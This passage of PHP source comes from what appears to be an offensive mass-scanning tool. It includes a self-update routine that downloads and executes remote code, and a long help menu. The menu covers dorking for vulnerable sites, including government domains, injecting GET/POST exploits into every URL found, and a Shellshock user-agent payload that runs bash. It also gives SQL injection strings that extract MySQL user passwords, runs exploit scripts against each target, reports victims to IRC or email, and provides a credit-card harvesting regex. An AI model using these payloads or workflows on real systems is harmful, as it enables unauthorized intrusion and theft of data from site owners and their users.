  510.     echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}ARE YOU SURE ? (y \ n): {$_SESSION["c0"]}";
  511.  
  512.     if (trim(fgets(STDIN)) == 'y') {
  513.  
  514.         $resultado = __request_info("https://raw.githubusercontent.com/googleinurl/SCANNER-INURLBR/master/inurlbr.php", $_SESSION["config"]["proxy"], NULL);
  515.  
  516.         if (not_isnull_empty($resultado['corpo'])) {
  517.  
  518.             unlink('inurlbr.php');
  519.             $varf = fopen('inurlbr.php', 'a');
  520.             fwrite($varf, $resultado['corpo']);
  521.             fclose($varf);
  522.             chmod('inurlbr.php', 0777);
  523.             echo "\nUPDATE DONE WITH SUCCESS!\n";
  524.             sleep(3);
  525.             system("chmod +x inurlbr.php | php inurlbr.php");
  526.             exit();
  527.         } else {
  528.  
  529.             echo system("command clear") . __bannerLogo();
  530.             echo "{$_SESSION["c1"]}__[ x ] {$_SESSION["c16"]}FAILURE TO SERVER!\n{$_SESSION["c0"]}";
  531.         }
  532.     }
  533. }
  534.  
  535. ################################################################################
  536. #SECURITIES VALIDATION DOUBLE#####################################################
  537. ################################################################################
  538.  
  539. function not_isnull_empty($valor = NULL) {
  540.  
  541.     RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE;
  542. }
  543.  
  544. ################################################################################
  545. #MENU###########################################################################
  546. ################################################################################
  547.  
  548. function __menu() {
  549.  
  550.     return system("command clear") . __getOut(__extra() . "        
  551. {$_SESSION["c1"]}_    _ ______ _      _____  
  552. | |  | |  ____| |    |  __ \
  553. | |__| | |__  | |    | |__) |
  554. |  __  |  __| | |    |  ___/
  555. | |  | | |____| |____| |    
  556. |_|  |_|______|______|_|
  557.  
  558. {$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current PHP version=>[ {$_SESSION["c1"]}" . phpversion() . "{$_SESSION["c0"]} ]
  559. {$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current script owner=>[ {$_SESSION["c1"]}" . get_current_user() . "{$_SESSION["c0"]} ]
  560. {$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current uname=>[ {$_SESSION["c1"]}" . php_uname() . "{$_SESSION["c0"]} ]
  561. {$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current pwd =>[ {$_SESSION["c1"]}" . getcwd() . "{$_SESSION["c0"]} ]
  562. " . $_SESSION['config']['line'] . "
  563.    
  564. {$_SESSION["c1"]}-h{$_SESSION["c0"]}
  565. {$_SESSION["c1"]}--help{$_SESSION["c0"]}   Alternative long length help command.
  566. {$_SESSION["c1"]}--ajuda{$_SESSION["c0"]}  Command to specify Help.
  567. {$_SESSION["c1"]}--info{$_SESSION["c0"]}   Information script.
  568. {$_SESSION["c1"]}--update{$_SESSION["c0"]} Code update.    
  569. {$_SESSION["c1"]}-q{$_SESSION["c0"]}       Choose which search engine you want through [{$_SESSION["c2"]}1...24{$_SESSION["c0"]}] / [{$_SESSION["c2"]}e1..6{$_SESSION["c0"]}]]:
  570.     [options]:
  571.     {$_SESSION["c1"]}1{$_SESSION["c0"]}   - {$_SESSION["c2"]}GOOGLE / (CSE) GENERIC RANDOM / API
  572.     {$_SESSION["c1"]}2{$_SESSION["c0"]}   - {$_SESSION["c2"]}BING
  573.     {$_SESSION["c1"]}3{$_SESSION["c0"]}   - {$_SESSION["c2"]}YAHOO BR
  574.     {$_SESSION["c1"]}4{$_SESSION["c0"]}   - {$_SESSION["c2"]}ASK
  575.     {$_SESSION["c1"]}5{$_SESSION["c0"]}   - {$_SESSION["c2"]}HAO123 BR
  576.     {$_SESSION["c1"]}6{$_SESSION["c0"]}   - {$_SESSION["c2"]}GOOGLE (API)
  577.     {$_SESSION["c1"]}7{$_SESSION["c0"]}   - {$_SESSION["c2"]}LYCOS
  578.     {$_SESSION["c1"]}8{$_SESSION["c0"]}   - {$_SESSION["c2"]}UOL BR
  579.     {$_SESSION["c1"]}9{$_SESSION["c0"]}   - {$_SESSION["c2"]}YAHOO US
  580.     {$_SESSION["c1"]}10{$_SESSION["c0"]}  - {$_SESSION["c2"]}SAPO
  581.     {$_SESSION["c1"]}11{$_SESSION["c0"]}  - {$_SESSION["c2"]}DMOZ
  582.     {$_SESSION["c1"]}12{$_SESSION["c0"]}  - {$_SESSION["c2"]}GIGABLAST
  583.     {$_SESSION["c1"]}13{$_SESSION["c0"]}  - {$_SESSION["c2"]}NEVER
  584.     {$_SESSION["c1"]}14{$_SESSION["c0"]}  - {$_SESSION["c2"]}BAIDU BR
  585.     {$_SESSION["c1"]}15{$_SESSION["c0"]}  - {$_SESSION["c2"]}YANDEX
  586.     {$_SESSION["c1"]}16{$_SESSION["c0"]}  - {$_SESSION["c2"]}ZOO
  587.     {$_SESSION["c1"]}17{$_SESSION["c0"]}  - {$_SESSION["c2"]}HOTBOT
  588.     {$_SESSION["c1"]}18{$_SESSION["c0"]}  - {$_SESSION["c2"]}ZHONGSOU
  589.     {$_SESSION["c1"]}19{$_SESSION["c0"]}  - {$_SESSION["c2"]}HKSEARCH
  590.     {$_SESSION["c1"]}20{$_SESSION["c0"]}  - {$_SESSION["c2"]}EZILION
  591.     {$_SESSION["c1"]}21{$_SESSION["c0"]}  - {$_SESSION["c2"]}SOGOU
  592.     {$_SESSION["c1"]}22{$_SESSION["c0"]}  - {$_SESSION["c2"]}DUCK DUCK GO
  593.     {$_SESSION["c1"]}23{$_SESSION["c0"]}  - {$_SESSION["c2"]}BOOROW
  594.     {$_SESSION["c1"]}24{$_SESSION["c0"]}  - {$_SESSION["c2"]}GOOGLE(CSE) GENERIC RANDOM
  595.     ----------------------------------------
  596.                 SPECIAL MOTORS
  597.     ----------------------------------------
  598.     {$_SESSION["c1"]}e1{$_SESSION["c0"]}  - {$_SESSION["c2"]}TOR FIND
  599.     {$_SESSION["c1"]}e2{$_SESSION["c0"]}  - {$_SESSION["c2"]}ELEPHANT
  600.     {$_SESSION["c1"]}e3{$_SESSION["c0"]}  - {$_SESSION["c2"]}TORSEARCH
  601.     {$_SESSION["c1"]}e4{$_SESSION["c0"]}  - {$_SESSION["c2"]}WIKILEAKS
  602.     {$_SESSION["c1"]}e5{$_SESSION["c0"]}  - {$_SESSION["c2"]}OTN
  603.     {$_SESSION["c1"]}e6{$_SESSION["c0"]}  - {$_SESSION["c2"]}EXPLOITS SHODAN
  604.     ----------------------------------------
  605.     {$_SESSION["c1"]}all{$_SESSION["c0"]} - {$_SESSION["c2"]}All search engines / not special motors{$_SESSION["c0"]}
  606.     Default:    {$_SESSION["c1"]}1{$_SESSION["c0"]}
  607.     Example: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}{op}{$_SESSION["c0"]}
  608.     Usage:   {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}1{$_SESSION["c0"]}
  609.              {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}5{$_SESSION["c0"]}
  610.               Using more than one engine:  {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}1,2,5,6,11,24{$_SESSION["c0"]}
  611.               Using all engines:      {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}all{$_SESSION["c0"]}
  612.    
  613. {$_SESSION["c1"]}--proxy{$_SESSION["c0"]} Choose which proxy you want to use through the search engine:
  614.     Example: {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}{proxy:port}{$_SESSION["c0"]}
  615.     Usage:   {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}localhost:8118{$_SESSION["c0"]}
  616.              {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}socks5://googleinurl@localhost:9050{$_SESSION["c0"]}
  617.              {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}http://admin:12334@172.16.0.90:8080{$_SESSION["c0"]}
  618.  
  619. {$_SESSION["c1"]}--proxy-file{$_SESSION["c0"]} Set font file to randomize your proxy to each search engine.
  620.     Example: {$_SESSION["c1"]}--proxy-file {$_SESSION["c2"]}{proxys}{$_SESSION["c0"]}
  621.     Usage:   {$_SESSION["c1"]}--proxy-file {$_SESSION["c2"]}proxys_list.txt{$_SESSION["c0"]}
  622.  
  623. {$_SESSION["c1"]}--time-proxy{$_SESSION["c0"]} Set the time how often the proxy will be exchanged.
  624.     Example: {$_SESSION["c1"]}--time-proxy {$_SESSION["c2"]}{second}{$_SESSION["c0"]}
  625.     Usage:   {$_SESSION["c1"]}--time-proxy {$_SESSION["c2"]}10{$_SESSION["c0"]}
  626.  
  627. {$_SESSION["c1"]}--proxy-http-file{$_SESSION["c0"]} Set file with urls http proxy,
  628.     are used to bular capch search engines
  629.     Example: {$_SESSION["c1"]}--proxy-http-file {$_SESSION["c2"]}{youfilehttp}{$_SESSION["c0"]}
  630.     Usage:   {$_SESSION["c1"]}--proxy-http-file {$_SESSION["c2"]}http_proxys.txt{$_SESSION["c0"]}
  631.        
  632.  
  633. {$_SESSION["c1"]}--tor-random{$_SESSION["c0"]} Enables the TOR function, each usage links an unique IP.
  634.  
  635. {$_SESSION["c1"]}-t{$_SESSION["c0"]}  Choose the validation type: op {$_SESSION["c2"]}1, 2, 3, 4, 5{$_SESSION["c0"]}
  636.     [options]:
  637.     {$_SESSION["c2"]}1{$_SESSION["c0"]}   - The first type uses default errors considering the script:
  638.     It establishes connection with the exploit through the get method.
  639.     Demo: www.alvo.com.br/pasta/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
  640.  
  641.     {$_SESSION["c2"]}2{$_SESSION["c0"]}   -  The second type tries to valid the error defined by: {$_SESSION["c1"]}-a={$_SESSION["c2"]}'VALUE_INSIDE_THE _TARGET'{$_SESSION["c0"]}
  642.     It also establishes connection with the exploit through the get method
  643.     Demo: www.alvo.com.br/pasta/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
  644.  
  645.     {$_SESSION["c2"]}3{$_SESSION["c0"]}   - The third type combine both first and second types:
  646.     Then, of course, it also establishes connection with the exploit through the get method
  647.     Demo: www.target.com.br{$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
  648.     Default:    {$_SESSION["c2"]}1{$_SESSION["c0"]}
  649.     Example: {$_SESSION["c1"]}-t {$_SESSION["c2"]}{op}{$_SESSION["c0"]}
  650.     Usage:   {$_SESSION["c1"]}-t {$_SESSION["c2"]}1{$_SESSION["c0"]}
  651.    
  652.     {$_SESSION["c2"]}4{$_SESSION["c0"]}   - The fourth type a validation based on source file and will be enabled scanner standard functions.
  653.     The source file their values are concatenated with target url.
  654.     - Set your target with command {$_SESSION["c1"]}--target {$_SESSION["c2"]}{http://target}{$_SESSION["c0"]}
  655.     - Set your file with command {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file}{$_SESSION["c0"]}
  656.     Explicative:
  657.     Source file values:
  658.     /admin/index.php?id=
  659.     /pag/index.php?id=
  660.     /brazil.php?new=
  661.     Demo:
  662.     www.target.com.br/admin/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
  663.     www.target.com.br/pag/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
  664.     www.target.com.br/brazil.php?new={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
  665.    
  666.     {$_SESSION["c2"]}5{$_SESSION["c0"]}   - (FIND PAGE) The fifth type of validation based on the source file,
  667.     Will be enabled only one validation code 200 on the target server, or if the url submit such code will be considered vulnerable.
  668.     - Set your target with command {$_SESSION["c1"]}--target {$_SESSION["c2"]}{http://target}{$_SESSION["c0"]}
  669.     - Set your file with command {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file}{$_SESSION["c0"]}
  670.     Explicative:
  671.     Source file values:
  672.     /admin/admin.php
  673.     /admin.asp
  674.     /admin.aspx
  675.     Demo:
  676.     www.target.com.br/admin/admin.php
  677.     www.target.com.br/admin.asp
  678.     www.target.com.br/admin.aspx
  679.     Observation: If it shows the code 200 will be separated in the output file
  680.  
  681.     DEFAULT ERRORS:  
  682.     {$_SESSION["c11"]}
  683.     [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL,           [*]ZEND FRAMEWORK,
  684.     [*]ERROR MARIADB,   [*]ERROR MYSQL,          [*]ERROR JBOSSWEB,        [*]ERROR MICROSOFT,
  685.     [*]ERROR ODBC,      [*]ERROR POSTGRESQL,     [*]ERROR JAVA INFINITYDB, [*]ERROR PHP,
  686.     [*]CMS WORDPRESS,   [*]SHELL WEB,            [*]ERROR JDBC,            [*]ERROR ASP,
  687.     [*]ERROR ORACLE,    [*]ERROR DB2,            [*]JDBC CFM,              [*]ERROS LUA,
  688.     [*]ERROR INDEFINITE
  689.     {$_SESSION["c0"]}
  690.        
  691. {$_SESSION["c1"]}--dork{$_SESSION["c0"]} Defines which dork the search engine will use.
  692.     Example: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}{dork}{$_SESSION["c0"]}
  693.     Usage:   {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br inurl:php? id'{$_SESSION["c0"]}
  694.     - Using multiples dorks:
  695.     Example: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}{[DORK]dork1[DORK]dork2[DORK]dork3}{$_SESSION["c0"]}
  696.     Usage:   {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'{$_SESSION["c0"]}
  697.  
  698. {$_SESSION["c1"]}--dork-file{$_SESSION["c0"]} Set font file with your search dorks.
  699.     Example: {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}{dork_file}{$_SESSION["c0"]}
  700.     Usage:   {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorks.txt'{$_SESSION["c0"]}
  701.  
  702. {$_SESSION["c1"]}--exploit-get{$_SESSION["c0"]} Defines which exploit will be injected through the GET method to each URL found.
  703.     Example: {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}{exploit_get}{$_SESSION["c0"]}
  704.     Usage:   {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?'´%270x27;\"{$_SESSION["c0"]}
  705.    
  706. {$_SESSION["c1"]}--exploit-post{$_SESSION["c0"]} Defines which exploit will be injected through the POST method to each URL found.
  707.     Example: {$_SESSION["c1"]}--exploit-post {$_SESSION["c3"]}{exploit_post}{$_SESSION["c0"]}
  708.     Usage:   {$_SESSION["c1"]}--exploit-post {$_SESSION["c3"]}'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'{$_SESSION["c0"]}
  709.    
  710. {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]} Defines which exploit/parameter will be executed in the options: {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all{$_SESSION["c0"]}.  
  711.     The exploit-command will be identified by the paramaters: {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all as {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]}      
  712.     Ex {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}'/admin/config.conf' {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'curl -v {$_SESSION["c8"]}_TARGET_{$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c2"]}'{$_SESSION["c0"]}
  713.     _TARGET_ is the specified URL/TARGET obtained by the process
  714.     _EXPLOIT_ is the exploit/parameter defined by the option {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]}.
  715.     Example: {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}{exploit-command}{$_SESSION["c0"]}
  716.     Usage:   {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}'/admin/config.conf'{$_SESSION["c0"]}  
  717.    
  718. {$_SESSION["c1"]}-a{$_SESSION["c0"]}  Specify the string that will be used on the search script:
  719.     Example: {$_SESSION["c1"]}-a {$_SESSION["c2"]}{string}{$_SESSION["c0"]}
  720.     Usage:   {$_SESSION["c1"]}-a {$_SESSION["c2"]}'<title>hello world</title>'{$_SESSION["c0"]}
  721.    
  722. {$_SESSION["c1"]}-d{$_SESSION["c0"]}  Specify the script usage op {$_SESSION["c2"]}1, 2, 3, 4, 5.{$_SESSION["c0"]}
  723.     Example: {$_SESSION["c1"]}-d {$_SESSION["c2"]}{op}{$_SESSION["c0"]}
  724.     Usage:   {$_SESSION["c1"]}-d {$_SESSION["c2"]}1 {$_SESSION["c0"]}/URL of the search engine.
  725.              {$_SESSION["c1"]}-d {$_SESSION["c2"]}2 {$_SESSION["c0"]}/Show all the url.
  726.              {$_SESSION["c1"]}-d {$_SESSION["c2"]}3 {$_SESSION["c0"]}/Detailed request of every URL.
  727.              {$_SESSION["c1"]}-d {$_SESSION["c2"]}4 {$_SESSION["c0"]}/Shows the HTML of every URL.
  728.              {$_SESSION["c1"]}-d {$_SESSION["c2"]}5 {$_SESSION["c0"]}/Detailed request of all URLs.
  729.              {$_SESSION["c1"]}-d {$_SESSION["c2"]}6 {$_SESSION["c0"]}/Detailed PING - PONG irc.    
  730.            
  731. {$_SESSION["c1"]}-s{$_SESSION["c0"]}  Specify the output file where it will be saved the vulnerable URLs.
  732.    
  733.     Example: {$_SESSION["c1"]}-s {$_SESSION["c2"]}{file}{$_SESSION["c0"]}
  734.     Usage:   {$_SESSION["c1"]}-s {$_SESSION["c2"]}your_file.txt
  735.    
  736. {$_SESSION["c1"]}-o{$_SESSION["c0"]}  Manually manage the vulnerable URLs you want to use from a file, without using a search engine.
  737.     Example: {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file_where_my_urls_are}{$_SESSION["c0"]}
  738.     Usage:   {$_SESSION["c1"]}-o {$_SESSION["c2"]}tests.txt
  739.  
  740. {$_SESSION["c1"]}--persist{$_SESSION["c0"]}  Attempts when Google blocks your search.
  741.     The script tries to another google host / default = 4
  742.     Example: {$_SESSION["c1"]}--persist {$_SESSION["c2"]}{number_attempts}{$_SESSION["c0"]}
  743.     Usage:   {$_SESSION["c1"]}--persist {$_SESSION["c2"]}7
  744.  
  745. {$_SESSION["c1"]}--ifredirect{$_SESSION["c0"]}  Return validation method post REDIRECT_URL
  746.     Example: {$_SESSION["c1"]}--ifredirect {$_SESSION["c2"]}{string_validation}{$_SESSION["c0"]}
  747.     Usage:   {$_SESSION["c1"]}--ifredirect {$_SESSION["c2"]}'/admin/painel.php'
  748.  
  749. {$_SESSION["c1"]}-m{$_SESSION["c0"]}  Enable the search for emails on the urls specified.
  750.  
  751. {$_SESSION["c1"]}-u{$_SESSION["c0"]}  Enables the search for URL lists on the url specified.
  752.  
  753. {$_SESSION["c1"]}--gc{$_SESSION["c0"]} Enable validation of values ​​with google webcache.
  754.    
  755. {$_SESSION["c1"]}--pr{$_SESSION["c0"]}  Progressive scan, used to set operators (dorks),
  756.     makes the search of a dork and valid results, then goes a dork at a time.
  757.  
  758. {$_SESSION["c1"]}--file-cookie{$_SESSION["c0"]} Open cookie file.
  759.    
  760. {$_SESSION["c1"]}--save-as{$_SESSION["c0"]} Save results in a certain place.
  761.  
  762. {$_SESSION["c1"]}--shellshock{$_SESSION["c0"]} Explore shellshock vulnerability by setting a malicious user-agent.
  763.  
  764. {$_SESSION["c1"]}--popup{$_SESSION["c0"]} Run --command all or vuln in a parallel terminal.
  765.  
  766. {$_SESSION["c1"]}--cms-check{$_SESSION["c0"]} Enable simple check if the url / target is using CMS.
  767.  
  768. {$_SESSION["c1"]}--no-banner{$_SESSION["c0"]} Remove the script presentation banner.
  769.    
  770. {$_SESSION["c1"]}--unique{$_SESSION["c0"]} Filter results in unique domains.
  771.  
  772. {$_SESSION["c1"]}--beep{$_SESSION["c0"]} Beep sound when a vulnerability is found.
  773.    
  774. {$_SESSION["c1"]}--alexa-rank{$_SESSION["c0"]} Show alexa positioning in the results.
  775.    
  776. {$_SESSION["c1"]}--robots{$_SESSION["c0"]} Show values file robots.
  777.      
  778. {$_SESSION["c1"]}--range{$_SESSION["c0"]} Set range IP.
  779.      Example: {$_SESSION["c1"]}--range {$_SESSION["c2"]}{range_start,rage_end}{$_SESSION["c0"]}
  780.      Usage:   {$_SESSION["c1"]}--range {$_SESSION["c2"]}'172.16.0.5#172.16.0.255'
  781.  
  782. {$_SESSION["c1"]}--range-rand{$_SESSION["c0"]} Set amount of random ips.
  783.      Example: {$_SESSION["c1"]}--range-rand {$_SESSION["c2"]}{rand}{$_SESSION["c0"]}
  784.      Usage:   {$_SESSION["c1"]}--range-rand {$_SESSION["c2"]}'50'
  785.  
  786. {$_SESSION["c1"]}--irc{$_SESSION["c0"]} Sending vulnerable to IRC / server channel.
  787.      Example: {$_SESSION["c1"]}--irc {$_SESSION["c2"]}{server#channel}{$_SESSION["c0"]}
  788.      Usage:   {$_SESSION["c1"]}--irc {$_SESSION["c2"]}'irc.rizon.net#inurlbrasil'
  789.  
  790. {$_SESSION["c1"]}--http-header{$_SESSION["c0"]} Set HTTP header.
  791.      Example: {$_SESSION["c1"]}--http-header {$_SESSION["c2"]}{youemail}{$_SESSION["c0"]}
  792.      Usage:   {$_SESSION["c1"]}--http-header {$_SESSION["c2"]}'HTTP/1.1 401 Unauthorized,WWW-Authenticate: Basic realm=\"Top Secret\"'
  793.          
  794. {$_SESSION["c1"]}--sedmail{$_SESSION["c0"]} Sending vulnerable to email.
  795.      Example: {$_SESSION["c1"]}--sedmail {$_SESSION["c2"]}{youemail}{$_SESSION["c0"]}
  796.      Usage:   {$_SESSION["c1"]}--sedmail {$_SESSION["c2"]}youemail@inurl.com.br
  797.          
  798. {$_SESSION["c1"]}--delay{$_SESSION["c0"]} Delay between research processes.
  799.      Example: {$_SESSION["c1"]}--delay {$_SESSION["c2"]}{second}{$_SESSION["c0"]}
  800.      Usage:   {$_SESSION["c1"]}--delay {$_SESSION["c2"]}10
  801.  
  802. {$_SESSION["c1"]}--time-out{$_SESSION["c0"]} Timeout to exit the process.
  803.      Example: {$_SESSION["c1"]}--time-out {$_SESSION["c2"]}{second}{$_SESSION["c0"]}
  804.      Usage:   {$_SESSION["c1"]}--time-out {$_SESSION["c2"]}10
  805.  
  806. {$_SESSION["c1"]}--ifurl{$_SESSION["c0"]} Filter URLs based on their argument.
  807.      Example: {$_SESSION["c1"]}--ifurl {$_SESSION["c2"]}{ifurl}{$_SESSION["c0"]}
  808.      Usage:   {$_SESSION["c1"]}--ifurl {$_SESSION["c2"]}index.php?id=
  809.  
  810. {$_SESSION["c1"]}--ifcode{$_SESSION["c0"]} Valid results based on your return http code.
  811.      Example: {$_SESSION["c1"]}--ifcode {$_SESSION["c2"]}{ifcode}{$_SESSION["c0"]}
  812.      Usage:   {$_SESSION["c1"]}--ifcode {$_SESSION["c2"]}200
  813.  
  814. {$_SESSION["c1"]}--ifemail{$_SESSION["c0"]} Filter E-mails based on their argument.
  815.     Example: {$_SESSION["c1"]}--ifemail {$_SESSION["c2"]}{file_where_my_emails_are}{$_SESSION["c0"]}
  816.     Usage:   {$_SESSION["c1"]}--ifemail {$_SESSION["c2"]}sp.gov.br
  817.  
  818. {$_SESSION["c1"]}--url-reference{$_SESSION["c0"]} Define referring URL in the request to send him against the target.
  819.      Example: {$_SESSION["c1"]}--url-reference {$_SESSION["c2"]}{url}{$_SESSION["c0"]}
  820.      Usage:   {$_SESSION["c1"]}--url-reference {$_SESSION["c2"]}http://target.com/admin/user/valid.php
  821.  
  822. {$_SESSION["c1"]}--mp{$_SESSION["c0"]} Limits the number of pages in the search engines.
  823.     Example: {$_SESSION["c1"]}--mp {$_SESSION["c2"]}{limit}{$_SESSION["c0"]}
  824.     Usage:   {$_SESSION["c1"]}--mp {$_SESSION["c2"]}50
  825.    
  826. {$_SESSION["c1"]}--user-agent{$_SESSION["c0"]} Define the user agent used in its request against the target.
  827.      Example: {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}{agent}{$_SESSION["c0"]}
  828.      Usage:   {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11'
  829.      Usage-exploit / SHELLSHOCK:  
  830.      {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}'() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;\"'
  831.      Complete command:    
  832.      php inurlbr.php --dork '_YOU_DORK_' -s shellshock.txt --user-agent '_YOU_AGENT_XPL_SHELLSHOCK' -t 2 -a '99887766555'
  833.  
  834. {$_SESSION["c1"]}--sall{$_SESSION["c0"]} Saves all urls found by the scanner.
  835.     Example: {$_SESSION["c1"]}--sall {$_SESSION["c2"]}{file}{$_SESSION["c0"]}
  836.     Usage:   {$_SESSION["c1"]}--sall {$_SESSION["c2"]}your_file.txt
  837.  
  838. {$_SESSION["c1"]}--command-vul{$_SESSION["c0"]} Every vulnerable URL found will execute this command parameters.
  839.     Example: {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}{command}{$_SESSION["c0"]}
  840.     Usage:   {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]}
  841.              {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]}
  842.              {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]}
  843.                  
  844. {$_SESSION["c1"]}--command-all{$_SESSION["c0"]} Use this commmand to specify a single command to EVERY URL found.
  845.     Example: {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}{command}{$_SESSION["c0"]}
  846.     Usage:   {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]}
  847.              {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]}
  848.              {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]}
  849.    [!] Observation:
  850.  
  851.    {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} will be replaced by the URL/target found, although if the user  
  852.    doesn't input the get, only the domain will be executed.
  853.  
  854.    {$_SESSION["c14"]}_TARGETFULL_{$_SESSION["c0"]} will be replaced by the original URL / target found.
  855.      
  856.    {$_SESSION["c14"]}_TARGETXPL_{$_SESSION["c0"]} will be replaced by the original URL / target found + EXPLOIT --exploit-get.
  857.      
  858.    {$_SESSION["c9"]}_TARGETIP_{$_SESSION["c0"]} return of ip URL / target found.
  859.        
  860.    {$_SESSION["c8"]}_URI_{$_SESSION["c0"]} Back URL set of folders / target found.
  861.        
  862.    {$_SESSION["c15"]}_RANDOM_{$_SESSION["c0"]} Random strings.
  863.        
  864.    {$_SESSION["c9"]}_PORT_{$_SESSION["c0"]} Capture port of the current test, within the --port-scan process.
  865.  
  866.    {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]}  will be replaced by the specified command argument {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]}.
  867.   The exploit-command will be identified by the parameters {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all as {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]}
  868.  
  869. {$_SESSION["c1"]}--replace{$_SESSION["c0"]} Replace values ​​in the target URL.
  870.    Example:  {$_SESSION["c1"]}--replace {$_SESSION["c2"]}{value_old[INURL]value_new}{$_SESSION["c0"]}
  871.     Usage:   {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user,Password+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}
  872.              {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'main.php?id=[INURL]main.php?id=1+and+substring(@@version,1,1)=1'{$_SESSION["c0"]}
  873.              {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'index.aspx?id=[INURL]index.aspx?id=1%27´'{$_SESSION["c0"]}
  874.                  
  875. {$_SESSION["c1"]}--remove{$_SESSION["c0"]} Remove values ​​in the target URL.
  876.      Example: {$_SESSION["c1"]}--remove {$_SESSION["c2"]}{string}{$_SESSION["c0"]}
  877.      Usage:   {$_SESSION["c1"]}--remove {$_SESSION["c2"]}'/admin.php?id=0'
  878.              
  879. {$_SESSION["c1"]}--regexp{$_SESSION["c0"]} Using regular expression to validate his research, the value of the
  880.    Expression will be sought within the target/URL.
  881.    Example:  {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} {regular_expression}{$_SESSION["c0"]}
  882.    All Major Credit Cards:
  883.    Usage:    {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})'{$_SESSION["c0"]}
  884.    
  885.    IP Addresses:
  886.    Usage:    {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))'{$_SESSION["c0"]}
  887.    
  888.    EMAIL:  
